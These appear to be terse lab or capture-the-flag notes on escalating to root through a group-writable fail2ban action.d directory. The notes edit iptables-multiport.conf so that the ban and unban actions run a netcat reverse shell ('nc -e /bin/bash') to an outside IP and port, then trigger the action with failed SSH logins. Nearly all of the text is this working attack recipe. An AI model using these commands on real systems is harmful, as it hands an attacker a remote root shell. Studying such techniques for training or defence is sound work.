$ /etc/init.d/fail2ban status
$ ls -lh /etc/fail2ban
drwxrwxr-x 2 root fail2ban 4.0K Dec 3 2020 action.d
# /etc/fail2ban/action.d is WRITABLE by fail2ban group
$ cd /etc/fail2ban/action.d
$ vim iptables-multiport.conf
#Edit as following
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actionban = /usr/bin/nc -e /bin/bash 192.168.49.145 4444
actionunban = /usr/bin/nc -e /bin/bash 192.168.49.145 4444
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#Couple times with wrong pass then got root shell
$ ssh fox@192.168.145.126